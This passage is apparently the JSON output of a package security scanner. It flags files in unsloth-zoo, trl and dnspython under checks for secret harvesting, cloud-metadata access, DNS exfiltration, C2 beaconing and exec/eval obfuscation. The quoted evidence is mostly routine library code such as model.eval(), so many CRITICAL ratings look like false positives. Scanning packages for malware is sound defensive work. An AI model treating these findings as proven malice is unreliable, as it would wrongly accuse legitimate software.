globals(),\nL5800: locals(),\nL5801: ) | L6035: source = eval(f\"modeling_file.{module}\") | L6049: source = eval(f\"modeling_file.{module}\") | L6160: source = eval(f\"modeling_file.{module}\") | L6198: source = eval(f\"{model_location}.{module}\") | L6278: source = eval(f\"{model_location}.{module}\") | L6326: source = eval(f\"{model_location}.{module}\") | L6564: source = eval(f\"{model_location}.{module}\") | L6575: exec(\nL6576: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6577: globals(),\nL6578: ) | L6638: source = eval(f\"{model_location}.{module}\") | L6679: module_cls = eval(f\"{model_location}.{module}\") | L6716: module_cls = eval(f\"{model_location}.{module}\") | L6793: exec(\nL6794: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL6795: globals(),\nL6796: ) | L6858: exec(inner_training_loop, globals()) | L6867: function = eval(f\"{model_location}.{module}\") | L6954: function = eval(f\"{model_location}.{module}\") | L7131: exec(\nL7132: f\"{model_location}.{module} = combined_module.{module}\",\nL7133: globals(),\nL7134: locals(),\nL7135: ) | L7145: check_dicts = dir(eval(f\"{model_location}\")) | L7147: item = eval(f\"{model_location}.{check}\") | L7158: exec(\nL7159: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7160: globals(),\nL7161: locals(),\nL7162: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "14134bb0f483515fa1a4d7ac1300fa0636214e265c0c4b1d622732d66552b9cf" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4192: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1317: cross_attn_layer = eval(f'vllm_internals.{name}') | L1357: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L1725: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L1731: exec(f\"new_model.{layer_name_br} = layer\") | L1802: exec(f\"new_model.{layer_name_br}.weight = None\") | L1803: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L1805: exec(f\"new_model.{layer_name_br}.bias = None\") | L1806: exec(f\"new_model.{layer_name_br}.bias = bias\") | L1812: exec(f\"new_model.{layer_name} = layer\") | L1831: new_model.eval() | L3999: exec(f\"module.to({dtype})\") | L4022: exec(f\"module.to({dtype})\") | L4992: model.eval() | L5032: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "4386a3646ba1899b4691f6ce38851b5f0ddf5180ad0d2b87d8a5b4ea723b2aa7" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5202: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L162: mx.eval(model.parameters()) | L196: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1440: mx.eval(model.parameters()) | L1441: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1508: mx.eval(model.parameters()) | L1511: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2940: mx.eval(altup.correct(predictions, activated)) | L3412: model.eval() | L3489: mx.eval(baseline, perturbed) | L4850: model.eval() | L5607: mx.eval(model.parameters()) | L5723: mx.eval(module.weight) | L8326: mx.eval(model.parameters()) | L8343: mx.eval(target.parameters()) | L9342: lambda: mx.eval(model.parameters()), | L9406: lambda: mx.eval(model.parameters()), | L9569: mx.eval(model.parameters())", "evidence_hash": "d1c32d6d0a0f4625af70ef11ce765a893c07f48e54c21fb8ff5ef43381daf18e", "file_sha256": "3ead131fa2c6bb8076c993cbc9b5238fe1edec534760790aa39893f4346d6b13" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L337: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L337: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "3e23c92b0245342887763365acc9806b0edefdd9f7e29fbae7d9990875081792" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4201: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1317: cross_attn_layer = eval(f'vllm_internals.{name}') | L1357: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L1734: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L1740: exec(f\"new_model.{layer_name_br} = layer\") | L1811: exec(f\"new_model.{layer_name_br}.weight = None\") | L1812: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L1814: exec(f\"new_model.{layer_name_br}.bias = None\") | L1815: exec(f\"new_model.{layer_name_br}.bias = bias\") | L1821: exec(f\"new_model.{layer_name} = layer\") | L1840: new_model.eval() | L4008: exec(f\"module.to({dtype})\") | L4031: exec(f\"module.to({dtype})\") | L5001: model.eval() | L5041: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "b2f8cf5c3ca273950ac34edf504d2cd026b8f9131e9f4ac330cda1fc3c4cbe36" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L337: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L337: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "45b32e1dc416ef6a3a60134f3845054264a94a43a946fa9ac5555c9613685da5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4356: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1332: cross_attn_layer = eval(f'vllm_internals.{name}') | L1372: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L1876: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L1882: exec(f\"new_model.{layer_name_br} = layer\") | L1953: exec(f\"new_model.{layer_name_br}.weight = None\") | L1954: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L1956: exec(f\"new_model.{layer_name_br}.bias = None\") | L1957: exec(f\"new_model.{layer_name_br}.bias = bias\") | L1963: exec(f\"new_model.{layer_name} = layer\") | L1995: new_model.eval() | L4163: exec(f\"module.to({dtype})\") | L4186: exec(f\"module.to({dtype})\") | L5156: model.eval() | L5196: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "54d81fd97d5b7efe21650db9c97d648f61c55932fc5679a9d07bbe0e33b33d2b" }, { "package": "dnspython", "file": "dns/query.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", "evidence": "DNS: L144: import dns.resolver | L146: resolver = dns.resolver.Resolver() | L402: resolver: \"dns.resolver.Resolver | None\", | L403: ) -> \"dns.resolver.Resolver\": | L409: import dns.resolver | L411: resolver = dns.resolver.Resolver() | L445: resolver: \"dns.resolver.Resolver | None\" = None,\nNetwork: L177: ) -> socket.socket: | L178: return socket.socket(af, kind, proto) | L184: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L330: ) -> socket.socket: | L551: if session and not isinstance(session, httpx2.Client): | L552: raise ValueError(\"session parameter must be an httpx2.Client\") | L583: cm = httpx2.Client(\nL584: http1=h1, http2=h2, verify=verify, transport=transport\nL585: ) | L1498: s: socket.socket | ssl.SSLSocket, | L1510: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", "evidence_hash": "06a7ae5b55d6f5f13ca756f54773b910f597d82d9f02b10f7f6e701bf5110abc" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L1040: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5631: env = dict(env) if env is not None else dict(os.environ) | L5718: env = dict(os.environ)\nNetwork: L1048: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4330: response = requests.get(\nL4331: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4332: ) | L7795: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "dae0d987ab8566caf0abec70cc3d98cf75509fe7f917a3b3ee04fe5dbc32873c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L1040: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5679: env = dict(env) if env is not None else dict(os.environ) | L5766: env = dict(os.environ)\nNetwork: L1048: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4378: response = requests.get(\nL4379: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4380: ) | L7843: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "f235013ae6524c7d6d38d78f34e745eef4dea077edfbbed0e2f94bb8b5295cac" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L1071: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5764: env = dict(env) if env is not None else dict(os.environ) | L5852: env = dict(os.environ)\nNetwork: L1079: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4451: response = requests.get(\nL4452: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4453: ) | L7929: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "a9ea4352f95da06d3e59e813679c78919041bd09f3f1f1fcf6b0295ae20d0f7a" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L1071: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5764: env = dict(env) if env is not None else dict(os.environ) | L5852: env = dict(os.environ)\nNetwork: L1079: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4451: response = requests.get(\nL4452: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4453: ) | L8021: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "1412cc073a27bf2d084c44a2203b27ebec45dfd617ebfc623bd72c399b6695f6" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L1050: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5619: env = dict(env) if env is not None else dict(os.environ) | L5707: env = dict(os.environ)\nNetwork: L1058: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4316: response = requests.get(\nL4317: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4318: ) | L7852: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "1015ae350bbea3f26bafbff649f65b344d35b94297a37d8e4eac7bb7dbeacea9" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L1050: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5641: env = dict(env) if env is not None else dict(os.environ) | L5729: env = dict(os.environ)\nNetwork: L1058: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4338: response = requests.get(\nL4339: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4340: ) | L7874: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "eddd9d5d97c0112a12c3364750d29bd3631b5f80c901bb8912950d646cba9642" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L152: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "3c26733ce5ad41afcbd8fff0dd69eec65b1403a2a0dbc862ac22e6cbbd5b13de" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L145: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "3c26733ce5ad41afcbd8fff0dd69eec65b1403a2a0dbc862ac22e6cbbd5b13de" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/gpt_oss.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", "evidence": "L2561: return importlib.import_module(root + \".matmul_ogs\").matmul_ogs", "evidence_hash": "58aa76d0aa49c056cec5778ad7ae5940e26a36890d42ff2a2e4ebcee4f591937", "file_sha256": "e2dd22e2aa49eddcd3af3bf1a75a62f6ee4e3cc153b8113108b715c4bd820d40" }, { "package": "trl", "file": "trl/experimental/async_distillation/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L56: while True: sha256:a2c29b4d2e8f5951840a40e2c82bd46005aadb0c1ccb0ff08654091d0888a8e8", "evidence_hash": "2a3bd94cd9e395df5b74c636c5313a6aa6309675310d063b91ccb5d20937ea94" }, { "package": "trl", "file": "trl/experimental/async_grpo/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", "evidence": "L56: while True: sha256:6db56b3e0a83bea87c66246c53357752c73752be8461b8af1487b5df92dc35e4", "evidence_hash": "4c65239b3410db0ddeb2fdf2996d6a1c7152a6084ce5570e7b938d859c6655dc" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1910: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2170: _mod = __import__(model_location, fromlist=items) | L7007: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7008: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7009: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7010: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7008: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7009: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7010: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7007: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7008: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7009: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1910: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2091: _modeling_file = eval(model_location) | L2826: f = eval(f\"{model_location}.{module}\") | L3185: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3186: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L4936: exec(f\"import {parent}\", locals(), globals()) | L5042: dir(eval(parent)), | L5048: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5128: module = eval(f\"modeling_file.{module}\") | L5155: inner_class = eval(f\"modeling_file.{inner_class}\") | L5390: exec(f\"from timm.layers.norm_act import {norm}\") | L5398: forward = eval(norm).forward | L5404: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5421: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5429: forward = eval(block).forward | L5435: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5679: exec(\nL5680: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5681: globals(),\nL5682: locals(),\nL5683: ) | L5685: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5689: exec(\nL5690: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5691: globals(),\nL5692: locals(),\nL5693: ) | L5695: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5772: source = eval(f\"{model_location}.torch\") | L5779: function = eval(f\"source.nn.{module}\") | L5973: exec(\"import transformers\", globals()) | L5990: exec(\nL5991: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL5992: ) | L5994: exec(\nL5995: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL5996: globals(),\nL5997: locals(),\nL5998: ) | L6232: source = eval(f\"modeling_file.{module}\") | L6246: source = eval(f\"modeling_file.{module}\") | L6359: source = eval(f\"modeling_file.{module}\") | L6397: source = eval(f\"{model_location}.{module}\") | L6477: source = eval(f\"{model_location}.{module}\") | L6525: source = eval(f\"{model_location}.{module}\") | L6763: source = eval(f\"{model_location}.{module}\") | L6774: exec(\nL6775: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6776: globals(),\nL6777: ) | L6837: source = eval(f\"{model_location}.{module}\") | L6878: module_cls = eval(f\"{model_location}.{module}\") | L6915: module_cls = eval(f\"{model_location}.{module}\") | L6992: exec(\nL6993: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL6994: globals(),\nL6995: ) | L7057: exec(inner_training_loop, globals()) | L7066: function = eval(f\"{model_location}.{module}\") | L7158: function = eval(f\"{model_location}.{module}\") | L7342: exec(\nL7343: f\"{model_location}.{module} = combined_module.{module}\",\nL7344: globals(),\nL7345: locals(),\nL7346: ) | L7356: check_dicts = dir(eval(f\"{model_location}\")) | L7358: item = eval(f\"{model_location}.{check}\") | L7369: exec(\nL7370: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7371: globals(),\nL7372: locals(),\nL7373: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "a8755c4619bc52b88d82be858ae5e233a1a3c9f2321c6b6833daf41ade53517c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4414: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1332: cross_attn_layer = eval(f'vllm_internals.{name}') | L1372: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L1876: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L1882: exec(f\"new_model.{layer_name_br} = layer\") | L1953: exec(f\"new_model.{layer_name_br}.weight = None\") | L1954: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L1956: exec(f\"new_model.{layer_name_br}.bias = None\") | L1957: exec(f\"new_model.{layer_name_br}.bias = bias\") | L1963: exec(f\"new_model.{layer_name} = layer\") | L1995: new_model.eval() | L4221: exec(f\"module.to({dtype})\") | L4244: exec(f\"module.to({dtype})\") | L5209: model.eval() | L5249: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "fcc7963d98b94d6ae1e302a6402f8ea3d62f3f48b879820532305b8393413b3c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/decision.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L382: with av.open(io.BytesIO(base64.b64decode(url.partition(\",\")[2], validate = True))) as container: sha256:946796d261fb90a0f7ad5f482b39026735f161d8d6877aa38112583f98acf957\nExec: L248: mx.eval(out) | L283: model.eval() | L284: mx.eval(model.parameters()) | L799: model.eval() | L800: mx.eval(model.parameters()) | L831: mx.eval(decoder.parameters()) | L1020: self.model.eval() | L1029: mx.eval(self.model.parameters()) | L1087: mx.eval(head, [entry.state for entry in cache]) | L1486: head.eval() | L1487: mx.eval(head.parameters()) | L1586: mx.eval(self.head.parameters()) | L1587: self.head.eval() | L2227: mx.eval(x) | L2239: mx.eval(loss, grads, cotangent) | L2247: mx.eval(stage_grads, cotangent) | L2337: mx.eval(model.parameters()) | L2378: mx.eval(self.parameters()) | L2404: mx.eval(logits) | L2544: mx.eval(total, grads) | L2571: network.eval() | L2648: model.eval()", "evidence_hash": "e247443dfea5b48389857add89110a17e97c5226b7b8cd3c6bce68309d6e2c9d", "file_sha256": "14b898bea6b24131bbb70950cd0a53161e3f232f94f644f411a85a32f8098117" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5252: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L162: mx.eval(model.parameters()) | L196: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1490: mx.eval(model.parameters()) | L1491: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1558: mx.eval(model.parameters()) | L1561: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2990: mx.eval(altup.correct(predictions, activated)) | L3462: model.eval() | L3539: mx.eval(baseline, perturbed) | L4900: model.eval() | L5657: mx.eval(model.parameters()) | L5773: mx.eval(module.weight) | L8376: mx.eval(model.parameters()) | L8393: mx.eval(target.parameters()) | L9392: lambda: mx.eval(model.parameters()), | L9456: lambda: mx.eval(model.parameters()), | L9619: mx.eval(model.parameters())", "evidence_hash": "d1c32d6d0a0f4625af70ef11ce765a893c07f48e54c21fb8ff5ef43381daf18e", "file_sha256": "b1ec563306898dd88891db955a7d22669726b4fdeb833fa5a9528cb5f48f907c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L835: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1044: mx.eval(drafts) | L1068: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])) | L1776: mx.eval(model.parameters())", "evidence_hash": "fe4fb68de15b01b8143787789c74fa5d27661e46db6e583b064f0d1bc000a062", "file_sha256": "9288916e69f35b04cc88e75706f2f8c44bbb9fb3d949b4cfe481e8112f147dd5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "24bcbf0d36a0850fde3f5cddf303c31e24d93394ff0f6d71494370d41533e50e" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4472: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1357: cross_attn_layer = eval(f'vllm_internals.{name}') | L1402: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L1924: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L1930: exec(f\"new_model.{layer_name_br} = layer\") | L2001: exec(f\"new_model.{layer_name_br}.weight = None\") | L2002: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L2004: exec(f\"new_model.{layer_name_br}.bias = None\") | L2005: exec(f\"new_model.{layer_name_br}.bias = bias\") | L2011: exec(f\"new_model.{layer_name} = layer\") | L2043: new_model.eval() | L4279: exec(f\"module.to({dtype})\") | L4302: exec(f\"module.to({dtype})\") | L5961: model.eval() | L6001: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "88134b230d81ec499927d5355b90a32315cf94cb282021f462251ee44578fcd3" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/decision.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L382: with av.open(io.BytesIO(base64.b64decode(url.partition(\",\")[2], validate = True))) as container: sha256:946796d261fb90a0f7ad5f482b39026735f161d8d6877aa38112583f98acf957\nExec: L248: mx.eval(out) | L283: model.eval() | L284: mx.eval(model.parameters()) | L799: model.eval() | L800: mx.eval(model.parameters()) | L831: mx.eval(decoder.parameters()) | L1023: self.model.eval() | L1032: mx.eval(self.model.parameters()) | L1090: mx.eval(head, [entry.state for entry in cache]) | L1489: head.eval() | L1490: mx.eval(head.parameters()) | L1589: mx.eval(self.head.parameters()) | L1590: self.head.eval() | L2230: mx.eval(x) | L2242: mx.eval(loss, grads, cotangent) | L2250: mx.eval(stage_grads, cotangent) | L2340: mx.eval(model.parameters()) | L2381: mx.eval(self.parameters()) | L2407: mx.eval(logits) | L2547: mx.eval(total, grads) | L2574: network.eval() | L2651: model.eval()", "evidence_hash": "e247443dfea5b48389857add89110a17e97c5226b7b8cd3c6bce68309d6e2c9d", "file_sha256": "d83445bf7066c573bc8fa568a9fbafee4d5bf8a0aa3eaf6cac6bfdeeb40f95df" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L5297: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L163: mx.eval(model.parameters()) | L197: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1491: mx.eval(model.parameters()) | L1492: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1559: mx.eval(model.parameters()) | L1562: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2991: mx.eval(altup.correct(predictions, activated)) | L3463: model.eval() | L3540: mx.eval(baseline, perturbed) | L4945: model.eval() | L5702: mx.eval(model.parameters()) | L5818: mx.eval(module.weight) | L8423: mx.eval(model.parameters()) | L8440: mx.eval(target.parameters()) | L9440: lambda: mx.eval(model.parameters()), | L9504: lambda: mx.eval(model.parameters()), | L9667: mx.eval(model.parameters())", "evidence_hash": "d1c32d6d0a0f4625af70ef11ce765a893c07f48e54c21fb8ff5ef43381daf18e", "file_sha256": "171e445ef608e624f86b538b0fac15628d9f35338c8424f79988b24354009aec" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L835: module = 